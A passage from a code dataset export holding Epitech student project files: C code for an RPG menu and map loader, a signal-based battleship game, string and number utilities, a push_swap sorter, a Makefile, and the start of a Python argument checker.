"886e6f397c75ee978911011dd3adf03233864f18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2392, "license_type": "no_license", "max_line_length": 78, "num_lines": 73, "path": "/tek1/Game/MUL_my_rpg_2019/src/menus/pause.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Visual Studio Live Share (Workspace)\n** File description:\n** principal.c\n*/\n\n#include \"rpg.h\"\n\nint pause_exit_button(sfVector2u size, sfVector2i mouse)\n{\n if (mouse.y > 0.475 * size.y && mouse.y < 0.671 * size.y &&\n mouse.x > 0.38 * size.x) {\n if (mouse.x < 0.64 * size.x && sfMouse_isButtonPressed(sfMouseLeft))\n return 1;\n }\n return 0;\n}\n\nint back_to_main_menu(sfVector2u size, sfVector2i mouse,\n dictionary_t **entities, dictionary_t **gamedata)\n{\n if (mouse.y > 0.77 * size.y && mouse.y < 0.965 * size.y &&\n mouse.x > 0.38 * size.x) {\n if (mouse.x < 0.64 * size.x && sfMouse_isButtonPressed(sfMouseLeft)) {\n *entities = destroy_entities(*entities, 1);\n import_map(\"main_menu.map\", entities, gamedata);\n }\n }\n return 0;\n}\n\nint resume_game(const sfWindow *window, dictionary_t **entities,\n dictionary_t **gamedata, char *map)\n{\n sfVector2i mouse = sfMouse_getPosition(window);\n sfVector2u size = sfWindow_getSize(window);\n entity_t *player = dict_get(*entities, \"player\");\n\n if (mouse.y > 0.182 * size.y && mouse.y < 0.379 * size.y &&\n mouse.x > 0.38 * size.x) {\n if (mouse.x < 0.64 * size.x && sfMouse_isButtonPressed(sfMouseLeft)) {\n import_map(map, entities, gamedata);\n player->show = 1;\n }\n }\n return 0;\n}\n\nint display_pause_menu(const sfWindow *window, dictionary_t **entities,\n dictionary_t **gamedata)\n{\n sfVector2i mouse = sfMouse_getPosition(window);\n sfVector2u size = sfWindow_getSize(window);\n static char *map;\n static int is_esc_button_pressed = 0;\n entity_t *player = dict_get(*entities, \"player\");\n\n if (my_strcmp(dict_get(*gamedata, \"map\"), \"main_menu.map\") != 0 &&\n sfKeyboard_isKeyPressed(sfKeyEscape) && !is_esc_button_pressed) {\n is_esc_button_pressed = 1;\n map = my_strdup(dict_get(*gamedata, \"map\"));\n import_map(\"pause_menu.map\", entities, gamedata);\n player->show = 0;\n }\n if (my_strcmp(dict_get(*gamedata, \"map\"), \"pause_menu.map\") == 0) {\n resume_game(window, entities, gamedata, map);\n back_to_main_menu(size, mouse, entities, gamedata);\n if (pause_exit_button(size, mouse) == 1) return 1;\n }\n else if (is_esc_button_pressed) is_esc_button_pressed = 0;\n return 0;\n}" }, { "alpha_fraction": 0.4004995822906494, "alphanum_fraction": 0.4338051676750183, "avg_line_length": 14.202531814575195, "blob_id": "946f3c25c42c0c17ed552326b6bbd7aa3ce99cec", "content_id": "196d50a188cc1e52760d8011ff7f57b1b7d05c04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1201, "license_type": "no_license", "max_line_length": 47, "num_lines": 79, "path": "/tek1/QuickTest/CPE_solostumper_2_2019/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** main.c\n** File description:\n** by clement fleur\n*/\n\n#include <unistd.h>\n\nvoid my_putstr(char *string)\n{\n int i = 0;\n\n while (string[i] != 0) {\n write(1, &string[i], 1);\n i++;\n }\n}\n\nint my_strlen(char *path)\n{\n int i = 0;\n\n while (path[i] != 0)\n i++;\n return i;\n}\n\nchar *checkmaj(char *path)\n{\n int i = 0;\n\n while (path[i] != 0) {\n if (path[i] >= 65 && path[i] <= 90)\n path[i] = path[i] + 32;\n i++;\n }\n return path;\n}\n\nint palindrome(char *path)\n{\n int i = 0;\n int p = 0;\n int m = my_strlen(path) - 1;\n char *not = \"not a palindrome.\\n\";\n\n path = checkmaj(path);\n if ((m + 1) % 2 != 0) {\n my_putstr(not);\n return 84;\n }\n i = (m + 1) / 2;\n while (p != i) {\n if (path[p] != path[m]) {\n my_putstr(not);\n return 84;\n }\n p++;\n m--;\n }\n my_putstr(\"palindrome!\\n\");\n return 0;\n}\n\nint main(int ac, char **argv)\n{\n int nb;\n\n if (ac == 2)\n nb = palindrome(argv[1]);\n else {\n my_putstr(\"Error: missing arguments.\");\n return 84;\n }\n if (nb == 84)\n return 84;\n return 0;\n}\n" }, { "alpha_fraction": 0.4904632270336151, "alphanum_fraction": 0.5304268598556519, "avg_line_length": 16.21875, "blob_id": "bb868fad2e1e201e2d646aa8e348b031b6276174", "content_id": "14b6000fc50aef387d5ef85281d187f73b577d41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1101, "license_type": "no_license", "max_line_length": 42, "num_lines": 64, "path": "/tek1/Advanced/PSU_navy_2019/sources/get_sig.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** get_sig.c\n*/\n\n#include \"navy.h\"\n\nvoid attack_handling(int sig)\n{\n if (sig == SIGUSR1 && receive[2] == 0)\n receive[1]++;\n else if (sig == SIGUSR2)\n receive[2]++;\n if (sig == SIGUSR1 && receive[2] > 0)\n receive[3] = 1;\n}\n\nvoid result_handling(int sig)\n{\n if (sig == SIGUSR1) {\n my_printf(\"hit\\n\");\n receive[3] = 1;\n }\n if (sig == SIGUSR2) {\n my_printf(\"missed\\n\");\n receive[3] = 2;\n }\n}\n\nint result_attack(void)\n{\n int result = 0;\n\n receive[3] = 0;\n signal(SIGUSR1, result_handling);\n signal(SIGUSR2, result_handling);\n pause();\n result = receive[3];\n receive[3] = 0;\n return result;\n}\n\nvoid get_coord(void)\n{\n int letter = 0;\n int check = 0;\n\n while (receive[3] != 1) {\n signal(SIGUSR1, attack_handling);\n signal(SIGUSR2, attack_handling);\n signal(SIGUSR1, attack_handling);\n }\n}\n\nvoid end_handler(int sig)\n{\n if (sig == SIGUSR2)\n return;\n if (sig == SIGUSR1) {\n receive[3] = 1;\n }\n}" }, { "alpha_fraction": 0.3654135465621948, "alphanum_fraction": 0.43007519841194153, "avg_line_length": 12.854166984558105, "blob_id": "6a585428f8a6842b97b5cfaf5ed3946bba237c4d", "content_id": "34813ca8afefbc86c7127a0b40498d8a28888229", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 665, "license_type": "no_license", "max_line_length": 33, "num_lines": 48, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_put_nbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_put_nbr\n** File description:\n** Displays provided number\n*/\n\n#include \"tools.h\"\n\nint get_power_of_ten(int n)\n{\n int nb;\n\n nb = 1;\n while (n > 0) {\n nb *= 10;\n n--;\n }\n return (nb);\n}\n\nint get_digit(int nb, int n)\n{\n while (n > 1) {\n nb /= 10;\n n--;\n }\n return (nb % 10);\n}\n\nint my_put_nbr(int nb)\n{\n if (nb < -2147483647)\n my_putstr(\"-2147483648\");\n if (nb < 0)\n {\n nb = nb * -1;\n my_putchar('-');\n }\n if (nb >= 10)\n {\n my_put_nbr(nb / 10);\n my_put_nbr(nb % 10);\n }\n else\n my_putchar(nb + '0');\n return (0);\n}\n" }, { "alpha_fraction": 0.46451613306999207, "alphanum_fraction": 0.5161290168762207, "avg_line_length": 15.368420600891113, "blob_id": "6d34244563627aadcc9abadef6d452e9a0f9e7f7", "content_id": "ebed6866d0308fa68b4f40065291ff501a40c220", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 310, "license_type": "no_license", "max_line_length": 46, "num_lines": 19, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/is_prime_number.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d02_2019\n** File description:\n** is_prime_number.c\n*/\n\n#include \"phoenix.h\"\n\nint is_prime_number(int nb)\n{\n if (nb <= 1)\n return (0);\n for (int digit = 2; digit < nb; digit++) {\n if (nb % digit == 0)\n return (0);\n }\n return (1);\n}" }, { "alpha_fraction": 0.42006269097328186, "alphanum_fraction": 0.43834900856018066, "avg_line_length": 24.520000457763672, "blob_id": "fdde84f02dcba53356f2c56d32913f06d1d84340", "content_id": "a2dc68d84b4e4547e4896235034164a58d7c9c42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1914, "license_type": "no_license", "max_line_length": 61, "num_lines": 75, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_engine.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_engine.c\n*/\n\n#include \"pushswap.h\"\n\nvoid serial(int ac, char **as, struct req *req)\n{\n if (req->stat == 1)\n ac--;\n req->len = ac - 1;\n req->list_a = malloc(sizeof(int) * req->len);\n req->list_b = malloc(sizeof(int) * req->len);\n\n for (int i = 1; i < ac; i++)\n req->list_a[i - 1] = my_atoi(as[i]);\n for (int i = 0; i < ac - 1; i++)\n req->list_b[i] = -1;\n}\n\nvoid process(struct req *req)\n{\n while (1) {\n if (req->list_a[0] > get_last(req->list_a, req->len))\n rotate(req->list_a, req, 'a');\n if (req->list_a[0] > req->list_a[1])\n swap(req->list_a, 'a', req);\n req->sorted_a = list_sorted(req);\n if (req->sorted_a == 0 &&\n (req->list_a[0] < req->list_a[1])) {\n push(req->list_a, req->list_b, req, 'b');\n clean(req);\n }\n while (req->sorted_a == 1) {\n if (req->sorted_a == 1 && req->list_b[0] == -1)\n break;\n push(req->list_b, req->list_a, req, 'a');\n req->sorted_a = list_sorted(req);\n }\n if (req->sorted_a == 1 && req->list_b[0] == -1)\n break;\n }\n}\n\nvoid clean(struct req *req)\n{\n if (req->list_b[1] != -1) {\n if (req->list_b[0] < get_last(req->list_b,\n req->len))\n rotate(req->list_b, req, 'b');\n if (req->list_b[0] < req->list_b[1])\n swap(req->list_b, 'b', req);\n }\n}\n\nvoid display_order(struct req *req)\n{\n if (req->stat == 0)\n return;\n my_put_char('\\n');\n for (int i = 0; i < req->len; i++) {\n my_put_nbr(req->list_a[i]);\n if (i + 1 < req->len)\n my_put_char(' ');\n }\n my_put_char('\\n');\n for (int i = 0; i < req->len; i++) {\n my_put_nbr(req->list_b[i]);\n if (i + 1 < req->len)\n my_put_char(' ');\n }\n}\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5208333134651184, "avg_line_length": 13.399999618530273, "blob_id": "2ffb75d820a660765d157ccc05b944cdb334bded", "content_id": "d953779434df540d4e61bcc71ea41ac3cde9d6b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 288, "license_type": "no_license", "max_line_length": 41, "num_lines": 20, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_show_word_array.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_show_word_array\n** File description:\n** my_show_word_array\n*/\n\n#include \"tools.h\"\n\nint my_show_word_array(char * const *arr)\n{\n int i = 0;\n\n while (arr[i]) {\n my_putstr(arr[i]);\n my_putchar('\\n');\n i++;\n }\n return (0);\n}\n" }, { "alpha_fraction": 0.5898092985153198, "alphanum_fraction": 0.5935097932815552, "avg_line_length": 34.85714340209961, "blob_id": "79b8e0265eea851f1efa1a6e48c445a9c89846d5", "content_id": "74a6d0d0af0c7c395b3c9341357f52ad4a8a5b61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3513, "license_type": "no_license", "max_line_length": 78, "num_lines": 98, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/map.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libgame\n** File description:\n** map\n*/\n\n#include \"game.h\"\n#include \"json.h\"\n#include \"rpg.h\"\n#include <stdlib.h>\n\nlinked_list_t *load_layers(json_object_t *obj, dictionary_t **tilesets)\n{\n linked_list_t *layers = 0;\n tileset_t *tileset;\n layer_t *layer;\n linked_list_t *scroll_speed;\n\n for (json_object_t *i = obj; i; i = i->next) {\n if (!dict_get(*tilesets, dict_get(i->data, \"tileset\"))) {\n tileset = import_tileset(dict_get(i->data, \"tileset\"));\n *tilesets = dict_add(*tilesets, dict_get(i->data, \"tileset\"),\n tileset);\n } else\n tileset = dict_get(*tilesets, dict_get(i->data, \"tileset\"));\n layer = parse_map(dict_get(i->data, \"terrain\"), tileset);\n scroll_speed = dict_get(i->data, \"scroll_speed\");\n layer->scroll_speed = v2f(*(float *) ll_get(scroll_speed, 0),\n *(float *) ll_get(scroll_speed, 1));\n layers = ll_append(layers, layer);\n }\n return layers;\n}\n\ndictionary_t *entity_extra_data(dictionary_t *extra_data, dictionary_t *infos)\n{\n json_object_t *data = dict_get(infos, \"extra_data\");\n void *content;\n\n extra_data = dict_add(extra_data, \"dialogues\",\n entity_load_dialogues(dict_get(infos, \"name\"),\n dict_get(infos, \"dialogues\")));\n for (json_object_t *i = data; i; i = i->next) {\n if (i->type == JSON_STRING) content = my_strdup(i->data);\n else if (i->type == JSON_INT || i->type == JSON_DOUBLE)\n content = i->type == JSON_INT ? pint(*(int *) i->data) :\n (void *) pdouble(*(double *) i->data);\n else {\n my_printf(\"Error when importing entity data\\n\");\n continue;\n }\n extra_data = dict_add(extra_data, my_strdup(i->index), content);\n }\n return extra_data;\n}\n\ndictionary_t *load_entities(dictionary_t *entities, linked_list_t *obj)\n{\n dictionary_t *entity_informations;\n entity_t *entity;\n\n for (linked_list_t *i = obj; i; i = i->next) {\n entity_informations = i->data;\n if (*(int *) dict_get(entity_informations, \"persistant\") &&\n dict_get(entities, dict_get(entity_informations, \"name\")))\n continue;\n entity = import_entity(dict_get(entity_informations, \"file\"));\n sfSprite_setPosition(entity->sprite,\n sv2f_from_ll(dict_get(entity_informations, \"pos\")));\n entity->persistant =\n *(int *) dict_get(entity_informations, \"persistant\");\n entity->extra_data = entity_extra_data(entity->extra_data,\n entity_informations);\n entities = dict_add(entities, dict_get(entity_informations, \"name\"),\n entity);\n }\n return entities;\n}\n\nvoid import_map(char *filename, dictionary_t **entities,\n dictionary_t **gamedata)\n{\n linked_list_t *layers = 0;\n dictionary_t *tilesets = 0;\n char *path = my_strconcat(\"./assets/maps/\", filename);\n json_object_t *obj = my_free_assign(path, read_json(path));\n\n free(dict_get(*gamedata, \"map\"));\n dict_set(*gamedata, \"map\", my_strdup(filename));\n *entities = destroy_entities(*entities, 0);\n *entities = load_entities(*entities, dict_get(obj->data, \"entities\"));\n ll_free(dict_get(*gamedata, \"layers\"), destroy_layer);\n dict_free(dict_get(*gamedata, \"tilesets\"), 1, destroy_tileset);\n layers = load_layers(dict_get(obj->data, \"layers\"), &tilesets);\n dict_set(*gamedata, \"layers\", layers);\n dict_set(*gamedata, \"tilesets\", tilesets);\n}" }, { "alpha_fraction": 0.6049046516418457, "alphanum_fraction": 0.6185286045074463, "avg_line_length": 17.399999618530273, "blob_id": "7771c8acd4f8fec140293b455ced424013cdccf2", "content_id": "bf1382eea60fbf97c0125f352fe42b30873c2738", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 367, "license_type": "no_license", "max_line_length": 64, "num_lines": 20, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/read_json.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** read_json\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n\njson_object_t *read_json(char *filename)\n{\n char *content = read_file(filename);\n\n if (!content) {\n my_printf(\"JSON Error: File not found: %s\\n\", filename);\n return 0;\n }\n return my_free_assign(content, json_parse(content));\n}" }, { "alpha_fraction": 0.44916343688964844, "alphanum_fraction": 0.48391249775886536, "avg_line_length": 17.975608825683594, "blob_id": "f363aa5d6a03dc18865364c8647e7d7c27dca38f", "content_id": "d0b5a3925d0605eb7f86268c713c77402177de86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 777, "license_type": "no_license", "max_line_length": 58, "num_lines": 41, "path": "/tek1/Advanced/PSU_navy_2019/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** main.c\n*/\n\n#include \"navy.h\"\n\nint init_navy(int ac, char **av)\n{\n char **map = create_map(map);\n char **pos = NULL;\n char *buff = NULL;\n\n if (ac == 2) {\n buff = read_file(av[1]);\n save_pos(buff, &pos);\n if (init_server(map, pos) == -1)\n return -1;\n }\n if (ac == 3) {\n buff = read_file(av[2]);\n save_pos(buff, &pos);\n if (init_client(map, pos, my_getnbr(av[1])) == -1)\n return -1;\n }\n my_free_tab(pos);\n my_free_tab(map);\n return 0;\n}\n\nint main(int ac, char **av)\n{\n receive[3] = 0;\n if (check_error(ac, av) == 1)\n return 84;\n if (init_navy(ac, av) == -1)\n return 84;\n return receive[3];\n}" }, { "alpha_fraction": 0.3607456088066101, "alphanum_fraction": 0.41337719559669495, "avg_line_length": 13.950819969177246, "blob_id": "59d6c5217d38c106476e0bb140e35b8ad666cdd3", "content_id": "e0d9619ea6b40c54897b5120a5a6dc474bd71e95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 912, "license_type": "no_license", "max_line_length": 60, "num_lines": 61, "path": "/tek1/AI/AIA_n4s_2019/src/utils.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** my_strcmp.c\n*/\n\n#include \"n4s.h\"\n\nint my_strcmp(char const *s1, char const *s2)\n{\n int i = 0;\n\n while (s1[i] && s2[i] && s1[i] == s2[i])\n i += 1;\n return (s1[i] - s2[i]);\n}\n\nvoid my_putstr(char *str)\n{\n int i = 0;\n\n while (str[i]) {\n my_putchar(str[i]);\n i++;\n }\n}\n\nvoid my_putchar(char c)\n{\n write(1, &c, 1);\n}\n\nint my_strlen(char *str)\n{\n int i = 0;\n\n while (str[i])\n i += 1;\n return (i);\n}\n\nfloat my_atof(char *str)\n{\n float nb = 0.0;\n int i = 0;\n int id = 0;\n\n while (str[id] != 0 && str[id] >= '0' && str[id] <= '9')\n nb = nb * 10.0 + (str[id++] - 48);\n id += 1;\n if (str[id] == '.') {\n while (str[id] != 0) {\n nb = nb * 10.0 + (str[id] - 48);\n i -= 1;\n }\n }\n while (i++ < 0)\n nb *= 0.1;\n return (nb);\n}\n" }, { "alpha_fraction": 0.46689894795417786, "alphanum_fraction": 0.4947735071182251, "avg_line_length": 10.958333015441895, "blob_id": "71c6e48332e3386d52b833f8507cdfbeb80e562e", "content_id": "b0e894f52b95a1dde43080886c3e9bc292463eb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 287, "license_type": "no_license", "max_line_length": 24, "num_lines": 24, "path": "/tek1/Piscine/CPool_Day07_2019/lib/my/my_isneg.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_isneg\n** File description:\n** my_isneg by clement fleur\n*/\n\n#include <unistd.h>\n\nvoid my_putchar(char c)\n{\n write(1, &c, 1);\n}\n\nint my_isneg(int n)\n{\n if (n < 0) {\n my_putchar('N');\n }\n else {\n my_putchar('P');\n }\n return(0);\n}\n" }, { "alpha_fraction": 0.6230158805847168, "alphanum_fraction": 0.6388888955116272, "avg_line_length": 13.882352828979492, "blob_id": "d6cd9b3260b21ac82974071d839bb3ed04b2f6c4", "content_id": "811e0c72d21f263aae709f79b50922b8adc8f030", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 252, "license_type": "no_license", "max_line_length": 44, "num_lines": 17, "path": "/tek1/Game/MUL_my_rpg_2019/lib/linked/list/ll_shift.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** linked_list\n** File description:\n** linked_list\n*/\n\n#include \"linked.h\"\n#include <stdlib.h>\n\nlinked_list_t *ll_shift(linked_list_t *list)\n{\n linked_list_t *new_list = list->next;\n\n free(list);\n return new_list;\n}" }, { "alpha_fraction": 0.5599151849746704, "alphanum_fraction": 0.5843054056167603, "avg_line_length": 26.764705657958984, "blob_id": "efc0527aa56d851dc7789c8c2d7be07267b6e029", "content_id": "ab67319e35fe985938e83abc83cece633884ca45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 943, "license_type": "no_license", "max_line_length": 68, "num_lines": 34, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/json_stringify_double.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_stringify_double\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n#include <stdlib.h>\n\nchar *json_stringify_double(json_object_t *data)\n{\n double d = *(double *)(data->data);\n int power_of_ten = get_power_of_ten(6);\n int must_be_rounded_up = (int)(d * power_of_ten * 10) % 10 >= 5;\n int digits = (int)(d * power_of_ten) % power_of_ten;\n int i = digits;\n char *final = my_int_to_str(d);\n char *decimals;\n\n final = my_free_assign(final, my_strconcat(final, \".\"));\n while (6 > get_number_of_digits(i)) {\n final = my_free_assign(final, my_strconcat(final, \"0\"));\n i = i == 0 ? 10 : i * 10;\n }\n while (must_be_rounded_up == 0 && digits % 10 == 0) {\n digits /= 10;\n }\n decimals = my_int_to_str(digits + must_be_rounded_up);\n final = my_free_assign(final, my_strconcat(final, decimals));\n free(decimals);\n return final;\n}" }, { "alpha_fraction": 0.5596330165863037, "alphanum_fraction": 0.5779816508293152, "avg_line_length": 12.625, "blob_id": "f24de788b8b70edc444de0dc1c8ece0c099f65f4", "content_id": "5a9b40846883194606c614a28461802529636910", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 218, "license_type": "no_license", "max_line_length": 30, "num_lines": 16, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_find_prime_sup.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_find_prime_sup\n** File description:\n** Finds superior prime\n*/\n\n#include \"tools.h\"\n\nint my_find_prime_sup(int nb)\n{\n while (!my_is_prime(nb)) {\n nb++;\n }\n return nb;\n}\n" }, { "alpha_fraction": 0.5025445222854614, "alphanum_fraction": 0.5178117156028748, "avg_line_length": 20.2702693939209, "blob_id": "236d471519f1e1faca5478e58e579d009c67ae89", "content_id": "196b57fbf5f7312fa08b957f651d5391eb2bde2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 786, "license_type": "no_license", "max_line_length": 69, "num_lines": 37, "path": "/tek1/Game/MUL_my_defender_2019/lib/tools/stripslashes.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** stripslashes\n*/\n\n#include <stdlib.h>\n#include \"tools.h\"\n\nvoid check_slash(char *str, int *had_slash, int *count, int i)\n{\n if (str[i] == '\\\\') {\n *had_slash = !(*had_slash);\n *count += *had_slash;\n } else *had_slash = 0;\n}\n\nchar *stripslashes(char *str)\n{\n int had_slash = 0;\n int count = -1;\n char *new_str;\n int i;\n\n for (i = 0; str[i]; i++)\n check_slash(str, &had_slash, &count, i);\n new_str = malloc(sizeof(char) * (my_strlen(str) - count));\n had_slash = 0;\n count = 0;\n for (i = 0; str[i]; i++) {\n if (str[i] != '\\\\' || had_slash) new_str[i - count] = str[i];\n check_slash(str, &had_slash, &count, i);\n }\n new_str[i] = 0;\n return new_str;\n}" }, { "alpha_fraction": 0.6420581936836243, "alphanum_fraction": 0.6554809808731079, "avg_line_length": 21.94871711730957, "blob_id": "098089aa64893f47735b873146a2353869766ee5", "content_id": "a50dd9e0b8212faf16f185a7ee93e62bc93da421", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 894, "license_type": "no_license", "max_line_length": 54, "num_lines": 39, "path": "/tek1/AI/AIA_n4s_2019/includes/n4s.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** n4s.h\n*/\n\n#include \"unistd.h\"\n#include \"stdlib.h\"\n#include \"stdio.h\"\n\ntypedef struct nfs_s\n{\n char *start;\n char *dir;\n char *pos;\n char *stop;\n char *cmd;\n char **arr;\n float axis;\n} nfs_t;\n\nvoid init_struct(nfs_t *nfs);\nchar *get_next_line(const int fd);\nint my_strcmp(char const *s1, char const *s2);\nvoid my_putstr(char *str);\nint\tmy_strlen(char *str);\nint get_pos(char *str, int fd, nfs_t *nfs);\nchar *check_str(char *str);\nchar **my_strtotab(char *str, char lim);\nfloat my_atof(char *str);\nint\tget_speed(float mid, nfs_t *nfs);\nint\tcheck_dir(char **tab, float line, nfs_t *nfs);\nint\tcheck_management(float id, char *val, nfs_t *nfs);\nint check_pos(char *str, nfs_t *nfs);\nvoid my_putchar(char c);\nint get_littlespeed(float line, nfs_t *nfs);\nchar **receive_str(nfs_t *nfs);\nchar *my_malloc(int len);" }, { "alpha_fraction": 0.47441861033439636, "alphanum_fraction": 0.5186046361923218, "avg_line_length": 13.862069129943848, "blob_id": "35a5fddd2ab7406912132cbc3aa657ae2be41a7b", "content_id": "4edc47093384afba6b9b51f41058e30fe1a5a888", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 430, "license_type": "no_license", "max_line_length": 42, "num_lines": 29, "path": "/tek1/Advanced/PSU_navy_2019/sources/utils.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** destroy.c\n*/\n\n#include \"navy.h\"\n\nchar *get_info(void)\n{\n char *buff = malloc(sizeof(char) * 3);\n int result = 0;\n\n result = read(0, buff, 4);\n if (result == -1 || result != 3) {\n free(buff);\n buff = NULL;\n }\n else\n buff[2] = '\\0';\n return buff;\n}\n\nvoid my_kill(int sig, int pid)\n{\n kill(pid, sig);\n usleep(100);\n}" }, { "alpha_fraction": 0.5767716765403748, "alphanum_fraction": 0.586614191532135, "avg_line_length": 13.11111068725586, "blob_id": "ccfbd54a78d3faeb8cd1af98eb7f585e68141b0d", "content_id": "024472b8315fa03d490d39c64c434f55aca2896e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 508, "license_type": "no_license", "max_line_length": 37, "num_lines": 36, "path": "/tek1/Piscine/CPool_evalexpr_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## rush2\n## File description:\n## Displays language info\n##\n\nSRC\t\t=\tmy_rmspace.c\t\\\n\t\t\teval_expr.c\t\\\n\nLIB_MAKE\t=\tlib/my\n\nOBJ\t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\teval_expr\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\nCFLAGS\t\t+=\t-I./include -L./lib -lmy\n\nall:\t\t$(NAME)\n\n$(NAME):\tbuild_lib $(OBJ)\n\t\tgcc -o $(NAME) $(OBJ) $(CFLAGS)\n\nbuild_lib:\n\t\tmake -C $(LIB_MAKE) libmy.a\n\nclean:\n\t\tmake -C $(LIB_MAKE) clean\n\t\trm -f $(OBJ)\n\nfclean:\t\tclean\n\t\tmake -C $(LIB_MAKE) fclean\n\t\trm -f $(NAME)\n\nre:\t\tfclean all\n" }, { "alpha_fraction": 0.4612730145454407, "alphanum_fraction": 0.4907975494861603, "avg_line_length": 41.08064651489258, "blob_id": "8c595041d6ae7b0ada30258eafcb13fef0c336bd", "content_id": "b9a822a4eedc3ff5f902301014243097baeeb2bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2608, "license_type": "no_license", "max_line_length": 100, "num_lines": 62, "path": "/tek1/Mathématique/102architect_2019/check.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 102architect_2019\n## File description:\n## check.py\n##\n\nimport sys\nfrom calcul import *\n\ndef check_error(list):\n i = 1\n while i < len(sys.argv):\n if sys.argv[i] == \"-r\" or sys.argv[i] == \"-s\":\n if sys.argv[i - 2].isalpha() or sys.argv[i - 1].isalpha() or sys.argv[i + 1].isalpha():\n print(\"error\")\n sys.exit(84)\n if (len(sys.argv) != (i + 2) and (sys.argv[i + 2] != \"-t\" !=\n sys.argv[i + 2] != \"-s\" != sys.argv[i + 2] != \"-r\" != sys.argv[i + 2] != \"-z\" )):\n print(\"error too many arguments\")\n sys.exit(84)\n elif sys.argv[i] == \"-t\" or sys.argv[i] == \"-z\":\n if len(sys.argv) != (i + 3):\n print(\"error too many arguments 2\")\n sys.exit(84)\n if (sys.argv[i - 2].isalpha() or sys.argv[i - 1].isalpha() or\n sys.argv[i + 1].isalpha() or sys.argv[i + 2].isalpha()) and (sys.argv[i - 2] != \"-t\" !=\n sys.argv[i - 2] != \"-s\" != sys.argv[i - 2] != \"-r\" != sys.argv[i - 2] != \"-z\" ):\n 